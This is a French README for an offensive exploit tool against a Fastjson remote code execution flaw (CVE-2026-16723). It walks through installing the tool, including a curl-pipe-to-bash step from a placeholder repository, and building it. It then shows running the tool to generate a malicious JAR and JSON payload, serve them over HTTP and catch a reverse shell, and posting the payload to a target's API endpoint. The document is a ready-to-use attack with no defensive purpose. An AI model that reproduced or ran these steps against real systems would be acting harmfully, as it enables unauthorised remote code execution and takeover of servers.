
Exploit pour Fastjson RCE (CVE-2026-16723) ciblant les versions 1.2.68 à 1.2.83. Génère des payloads JAR et JSON, héberge un serveur HTTP et établit un shell inversé.
Linux (ou WSL sous Windows)
Compilateur compatible C++17 (GCC 7+ ou Clang 5+)
CMake 3.10 ou plus récent
Paquets système :
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Installez tout avec une seule commande :
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
Ou téléchargez et exécutez le script d'installation manuellement :
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
Le script d'installation va :
Installer tous les paquets système requis.
Télécharger les bibliothèques header-only nécessaires :
nlohmann/jsoncpp-httplibCompiler le projet.
Placer le binaire compilé dans le répertoire courant sous le nom :
./exploit
Si vous avez cloné le dépôt :
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
Ou compilez manuellement :
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Exécutez le binaire :
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
Après exécution, les fichiers suivants seront créés :
x
body.json
Le serveur HTTP démarrera sur le port configuré (par défaut : 8000) et l'outil attendra une connexion reverse shell entrante.
Envoyez le fichier body.json généré vers le point d'accès vulnérable :
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
Si l'application attend un autre champ JSON, spécifiez-le à l'aide de l'option --field.
| Fichier | Description |
|---|---|
x | Charge utile JAR générée |
body.json | Charge utile JSON à envoyer à la cible |
jar:http et jar:file.| Option | Description | Défaut |
|---|
--lhost | Adresse IP locale | Requis |
--lport | Port d'écoute du reverse shell | 4444 |
--http-port | Port du serveur HTTP | 8000 |
--first | Premier descripteur de fichier à essayer | 3 |
--last | Dernier descripteur de fichier à essayer | 30 |
--field | Nom du champ JSON | facets |
--outdir | Répertoire de sortie | . |
-h, --help | Afficher le message d'aide | — |